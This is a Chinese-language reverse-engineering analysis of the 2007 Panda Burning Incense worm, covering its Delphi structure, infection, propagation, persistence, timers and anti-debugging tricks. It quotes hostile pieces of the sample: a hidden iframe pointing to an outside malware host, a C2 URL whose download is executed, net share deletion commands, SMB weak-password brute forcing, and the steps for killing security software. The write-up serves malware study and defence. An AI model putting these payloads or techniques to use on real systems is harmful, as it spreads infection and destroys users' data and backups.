熊猫烧香病毒逆向工程深度解析:Delphi 6.0下的模块化架构与定时触发机制
2007年初,一只"熊猫"席卷了中国互联网。这只举着三炷香的熊猫图标背后,隐藏着一个精巧设计的恶意程序架构。作为中国网络安全史上具有里程碑意义的恶意软件,熊猫烧香病毒展现出了惊人的传播能力和破坏性。本文将采用逆向工程的视角,深入剖析这款用Delphi 6.0编写的病毒样本,揭示其模块化设计思想和多线程计时器机制的实现细节。
1. 病毒基础架构与Delphi特性分析
熊猫烧香病毒采用典型的模块化设计,整个程序可划分为三个核心功能组件:感染模块、传播模块和持久化模块。这种架构设计使得病毒能够高效执行各类恶意行为,同时保持代码的可维护性和扩展性。
Delphi编译器的独特特征在逆向分析过程中尤为明显。与常见的C++程序不同,Delphi采用寄存器传参的调用约定:
// Delphi典型函数调用示例 mov eax, param1 // 第一个参数放入eax mov edx, param2 // 第二个参数放入edx mov ecx, param3 // 第三个参数放入ecx call sub_403C98 // 调用函数这种传参方式给逆向分析带来了特殊挑战。在IDA Pro中观察到的函数调用往往缺少明显的参数传递痕迹,需要结合动态调试才能准确理解函数功能。
病毒初始化阶段包含几个关键操作:
- 内存空间分配(LocalAlloc调用)
- 字符串解密操作(XOR循环)
- 自校验机制(字符串比较)
特别值得注意的是病毒采用的双层密钥校验机制:
- 第一层密钥:"xboy"(解密出"武汉男生感染下载者")
- 第二层密钥:"whboy"(武汉男孩的拼音缩写)
这种设计既是对作者身份的标识,也是一种简单的反分析手段。在动态调试过程中,我们可以在0x004053CC地址处设置断点,观察字符串解密的完整过程。
2. 三大核心模块实现原理
2.1 感染模块工作机制
感染模块是病毒最具破坏性的部分,其工作流程可分为四个阶段:
文件遍历阶段:
- 调用GetDriveType从A:到Z:遍历所有可用驱动器
- 使用FindFirstFile/FindNextFile组合搜索目标文件
文件类型识别阶段:
cmp [file_extension], 'GHO' ; 系统备份文件 je DELETE_FILE cmp [file_extension], 'EXE' ; 可执行文件 je INFECT_FILE cmp [file_extension], 'HTML' ; 网页文件 je INJECT_CODE感染执行阶段:
- 对于可执行文件:检查"WhBoy"感染标记→修改文件属性→覆盖写入病毒代码
- 对于网页文件:追加
<iframe src=http://www.krvkr.com/worm.htm width=0 height=0>
自我保护阶段:
- 修改注册表隐藏系统文件(CheckedValue=1)
- 删除安全软件的启动项和服务
该模块特别针对.gho备份文件进行删除操作,这是其破坏性的重要体现——阻止系统恢复的可能性。在逆向过程中,可以在0x0040BB5C地址处观察到完整的文件操作逻辑。
2.2 传播模块网络行为
传播模块实现了局域网和互联网两个层面的扩散能力:
局域网传播机制:
- 通过139/445端口尝试SMB连接
- 使用预置的弱密码字典进行暴力破解
- 常见密码包括:admin、123456、password等
- 成功连接后复制病毒本体并执行
互联网传播机制:
- 定时访问C2服务器(http://wangma.9966.org/down.txt)
- 下载并执行恶意payload
- 通过感染的网页文件进行二次传播
网络行为分析中,Process Monitor可捕获到以下关键事件:
- TCP连接建立(目标端口139/445)
- 注册表查询(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters)
- 文件创建(\Windows\system32\drivers\spoclsv.exe)
2.3 持久化模块实现
持久化模块确保病毒能够在系统重启后继续存活,主要手段包括:
| 持久化方法 | 实现细节 | 注册表位置 |
|---|---|---|
| 启动项添加 | 创建spoclsv.exe副本 | HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| 文件关联劫持 | 修改.exe文件默认打开方式 | HKCR\exefile\shell\open\command |
| 服务安装 | 创建伪系统服务 | HKLM\SYSTEM\CurrentControlSet\Services |
| 隐藏属性设置 | 修改文件系统属性 | 通过SetFileAttributesA实现 |
该模块还包含对抗安全分析的功能:
- 禁用任务管理器(修改注册表DisableTaskMgr)
- 关闭安全软件进程(通过EnumProcesses和TerminateProcess)
- 阻止注册表编辑器运行(重命名regedit.exe)
在逆向分析时,可以在0x0040CC40地址处观察到完整的持久化代码逻辑,其中注册表操作主要通过以下API序列实现:
RegCreateKeyExA → RegSetValueExA → RegCloseKey3. 多计时器调度系统分析
熊猫烧香病毒采用了精密的计时器系统来协调各种恶意行为,四个主要计时器构成了其"心跳"机制:
3.1 实时防护破坏计时器(间隔1秒)
- 创建专用线程枚举并终止安全软件进程
- 关键函数调用流程:
call CreateToolhelp32Snapshot call Process32FirstW call lstrcmpiW ; 比对进程名 call TerminateProcess - 同时禁用系统管理工具(taskmgr.exe, regedit.exe等)
3.2 远程控制计时器(间隔20分钟)
- 从C2服务器下载新指令
- 网络通信流程:
- InternetOpenA初始化
- InternetOpenUrlA获取down.txt
- InternetReadFile读取内容
- WinExec执行下载的脚本
3.3 共享清除计时器(间隔10秒)
- 执行cmd命令删除网络共享:
net share C$ /delete net share D$ /delete - 通过CreateProcessA启动cmd.exe执行命令
3.4 深度持久化计时器(间隔6秒)
- 检查自身副本是否存在
- 验证注册表启动项完整性
- 修复可能被安全软件破坏的组件
计时器系统的实现依赖于Delphi的TTimer组件,在逆向代码中表现为对SetTimer的调用。每个计时器回调函数都经过精心设计,确保即使某个线程被终止,其他功能仍能继续运行。
4. 逆向工程实战技巧
分析熊猫烧香这类多线程恶意软件时,传统的静态分析方法往往力不从心。以下是几个实用的逆向技巧:
4.1 动态调试策略
关键断点设置:
- 计时器回调入口点(如0x0040BB5C)
- 文件操作相关API(CreateFileA, WriteFile)
- 注册表操作序列(RegOpenKeyExA, RegSetValueExA)
线程控制技巧:
# IDAPython脚本示例:标记所有计时器回调函数 for addr in [0x0040BB5C, 0x0040BC20, 0x0040BD00, 0x0040BE10]: set_name(addr, "TimerCallback_%X" % addr) add_bpt(addr)
4.2 Delphi程序特有模式识别
异常处理框架:
- Delphi使用特殊的SEH结构
- 在IDA中识别为
@__InitExceptBlockLDTC
字符串操作特征:
- 频繁使用MOVSB/STOSB指令
- 字符串长度通常存储在ECX寄存器
类方法调用:
- 通过EAX传递this指针
- 调用前会有
mov eax, [ebp+var_XX]操作
4.3 对抗反分析技术
熊猫烧香采用了几种简单的反调试手段:
时间差检测:
call GetTickCount mov [ebp+var_4], eax ; 执行一些操作 call GetTickCount sub eax, [ebp+var_4] cmp eax, 1000 ; 如果执行时间过长,可能是单步调试 jg AntiDebug进程枚举检查:
- 查找ollydbg.exe、idaq.exe等进程名
- 使用CreateToolhelp32Snapshot遍历进程列表
调试寄存器检测:
mov eax, [fs:30h] ; PEB mov al, [eax+2] ; BeingDebugged test al, al jnz DebuggerFound
在实际分析中,可以通过修改关键跳转或NOP掉检测代码来绕过这些保护。例如,将0x004053E8处的JNZ指令改为NOP,可以跳过重要的解密检查。
熊猫烧香病毒虽然技术层面不算复杂,但其模块化设计和多线程实现方式为后续恶意软件提供了参考模板。通过逆向分析这类历史样本,安全研究人员能够更好地理解恶意软件的演化趋势,为现代威胁检测提供思路。在分析过程中,结合静态反汇编与动态调试,逐步构建出完整的病毒行为画像,这种分析方法至今仍是恶意软件研究的核心方法之一。